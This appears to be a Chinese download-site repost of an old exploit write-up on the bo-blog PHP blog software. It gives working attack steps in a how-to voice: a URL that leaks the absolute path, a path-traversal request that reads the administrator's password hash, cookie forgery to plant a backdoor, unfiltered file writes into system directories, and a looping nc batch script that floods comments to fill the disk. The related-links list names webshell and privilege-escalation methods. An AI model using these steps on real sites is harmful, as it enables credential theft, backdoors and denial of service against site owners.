驱动管家:安全、高效、精准的专业驱动下载站!

个人博客系统bo-blog的绝对路径暴露哪些问题?

2018-01-25 19:01:16责编:llp   来源:驱动管家     人气:

bo-blog是一款外观好看,而且当前流行的个人博客系统,在很多下载站你都可以找到这套程序,而且甚至有很多安全界的人都使用着这套php+txt的程序,但是这套程序里有些安全隐患,可能会被人利用去做一些破坏。

个人博客系统bo-blog的绝对路径暴露哪些问题?

首先开门见山,我们说说它的绝对路径暴露问题.........

只要提交地址:_blank>http://localhost/blog/index.php?m=2&y=/2005

就可以得到程序所在绝对路径!

这是php中很经常出现的问题!

现在我们在来看一段代码,这是showcat.php里的内容!

if (!file_exists("$dirblog/$cat.php")) {

wronginfo($langerrornocat);

}

unset ($allfiles);

$allfiles=@file("$dirblog/$cat.php");

看到了没有?他直接把cat.php没有处理就拿出来用了,而它又是怎么处理他拿出来的数据的呢?

for ($i=$start; $i<$end;$i++) {

$latest=explode("|",$allfiles[$i]);

$articleid=$latest[1];

$articlename=$latest[2];

$latest[3]=mktimezone($latest[3]);

$showtime=date("Y-n-j",$latest[3]);

这样,它将$cat提交来的文件打开,读出来,但是以|为分隔读出文件内容,因为以|读出文件内容却是从1开始的,所以我们读不出其他的文件,我们只能读文件里有|的文件的第一个|后面的数据。也就是说,假设我们知道用户所在目录的话,我们就可以提交_blank>http://localhost/blog/index.php?job=showcat&cat=../saiy/userid

便可以得到管理员的密码散列。

然后伪造cookies登陆,直接可以传后门了。但是前提是要知道目录名,所以这只限制于目录名了,但是假设对方站点上有其他的php+文本的程序,我们可以利用此文件读出隐秘内容。

我们再来说第二个问题,回复评论未限制时间,大家大概觉得这不算什么问题吧,看完代码不知道你还会这么想吗?

$replyauthor=safe_convert($replyauthor);

$remreplyauthor=$replyauthor;

if ($replyemail!="") $replyauthor.="胃胃".safe_convert($replyemail);

$replycontent=safe_convert($replycontent);

$simplecontent=preg_replace("/[(.+?)]/is", "", $replycontent);

$simplecontent=preg_replace("/<(.+?)>/is", "", $simplecontent);

$simplecontent=preg_replace("/&(.+?);/is", "", $simplecontent);

$curexcerpt=msubstr($simplecontent,0,20);

$timestamp=time();

$areply=@readfromfile("$dirblog/$articleid.rpl");

writetofile("$dirblog/$articleid.rpl",$replycontent."n|rep|n".$areply);

writetofile("$dirblog/list.php",$all1);

updaterenum(1);

看到没有?居然也没对$articleid做过滤,大家觉得吓人吗?哦?你们觉得不怎么样?恐怕不好玩?我改改你再看看。

writetofile("$dirblog/C:winntsystem32hacker.rpl",$replycontent."n|rep|n".$areply);

呼,这样我们把一个垃圾文件写到系统目录下了。要么,写到管理员启动目录?一个N大无比的文本文件。

只要我们不停的提交数据,则不断的把文件写入了,假设你手头没有工具可以帮你提交,我教你个简单的,利用NC的方法!

首先,抓取你发表评论的包,存在NC所在目录下,命名为test.txt。这个大家都会做吧~~

再建立一个bat,命名为test.bat内容为:

nc www.test.com 80 cls

test.bat

呵呵,运行这个.bat文件它就会不停的发送评论了,开两个就是两个线程哦 !

  • filezilla server的提权方法 filezilla server怎么防御提权?

    filezilla server的提权方法 filezilla server怎么防御提权?

    目标站点环境:Windows Server 2008 R2 x64PHP Version 5 4 31MySQL Server 5 5开启安全模式禁用一些函数:disable_functions,exec,system,passthru,popen,pclose,shell_exec,proc_open,dl,chmod,escapesh

    详情2018-01-25 13:32:55责编:llp   来源:驱动管家     
  • 路由器怎么设置才可以防止arp攻击?这里有防止arp攻击教程

    路由器怎么设置才可以防止arp攻击?这里有防止arp攻击教程

    第一步:打开网吧路由器的管理界面,在左侧的菜单中可以看到:“IP与MAC绑定”,在该项来设置IP和MAC绑定。第二步:打开“静态ARP绑定设置”窗口如下:注意:默认情况下ARP绑定功能是关闭,请选中启用后,点击保

    详情2018-01-23 14:45:41责编:llp   来源:驱动管家     
  • windowsxp系统怎么设置隐藏密码?

    windowsxp系统怎么设置隐藏密码?

    随着电脑硬件价格的不断下跌,笔者的“老爷机”通过升级终于又重振雄风,也跑上了双系统(Windows XP和Windows 2000)。由于电脑放在宿舍里,自然也就成了“公共产品”,但在Windows 2000系统中有许多设置确实

    详情2018-01-16 13:30:22责编:llp   来源:驱动管家     
  • 你知道如何提高网络域名的安全指数吗?网络域名安全指数提高n倍怎么做?

    你知道如何提高网络域名的安全指数吗?网络域名安全指数提高n倍怎么做?

    如何保证自己的账户的安全,做到下面这七点,域名安全指数就会提高N倍,快来看看吧。第一、账户注册信息的完整性我们在注册账户的时候,信息肯定必须完整的,如果你乱写资料,根据ICANN的规定是有权被ICANN的政策

    详情2018-01-24 09:14:29责编:llp   来源:驱动管家     
  • 什么是织梦内容管理系统?织梦内容管理系统有什么漏洞?

    什么是织梦内容管理系统?织梦内容管理系统有什么漏洞?

    影响版本: Dedecms 3 1漏洞描述: 织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用户最多的PHP类CMS系统,在经历了二年多的发展,目前的版本无论在功能,

    详情2018-01-16 15:26:45责编:llp   来源:驱动管家     
  • 怎么获取webshell?得到webshell获取网站控制权的十大方法

    怎么获取webshell?得到webshell获取网站控制权的十大方法

    黑客在入侵企业网站时,通常要通过各种方式获取webshell从而获得企业网站的控制权,然后方便进行之后的入侵行为。本篇文章将如何获取webshell总结成为了十种方法,希望广大的企业网络管理员能够通过了解获取websh

    详情2018-01-17 15:24:21责编:llp   来源:驱动管家     
  • 帮你识别特洛伊木马程序 特洛伊木马程序有哪些特性?

    帮你识别特洛伊木马程序 特洛伊木马程序有哪些特性?

    什么是特洛伊木马木马,其实质只是一个网络客户 服务程序。网络客户 服务模式的原理是一台主机提供服务 (服务器),另一台主机接受服务 (客户机)。作为服务器的主机一般会打开一个默认的端口开进行监听(Listen)

    详情2018-01-04 11:19:52责编:llp   来源:驱动管家     
  • ie7浏览器有什么优点?ie7浏览器访问恶意网页会出现什么问题?

    ie7浏览器有什么优点?ie7浏览器访问恶意网页会出现什么问题?

    受影响系统:   Microsoft Internet Explorer 7 0  描述:  BUGTRAQ ID: 28498  Internet Explorer是微软发布的非常流行的WEB浏览器。  如果用户用IE访问了恶意网页的话,则弹出窗口的地址栏可能为任意地址而窗口主题中为任意页面或内容。这有

    详情2018-01-20 09:30:57责编:llp   来源:驱动管家     
  • 开源软件中有哪些容易被忽略的安全漏洞?

    开源软件中有哪些容易被忽略的安全漏洞?

    安全漏洞审计和软件风险管理公司Palamida称,该公司在2007年对3亿行代码进行审查之后发现了用户在其开源软件代码中最容易忽略的五个安全漏洞。这五个最容易忽略的安全漏洞仅按照字母排列,安全公司并不打算按照使

    详情2018-01-23 11:41:32责编:llp   来源:驱动管家     
  • shell脚本怎么监控mysol服务器?shell脚本监控mysol服务器的步骤

    shell脚本怎么监控mysol服务器?shell脚本监控mysol服务器的步骤

    监控MySQL服务是否正常,通常的思路为:检查3306端口是否启动,ps查看mysqld进程是否启动,命令行登录mysql执行语句返回结果,php或jsp程序检测(需要开发人员开发程序)等等;方法1:监听3306端口方法2:查看mys

    详情2018-01-05 11:04:57责编:llp   来源:驱动管家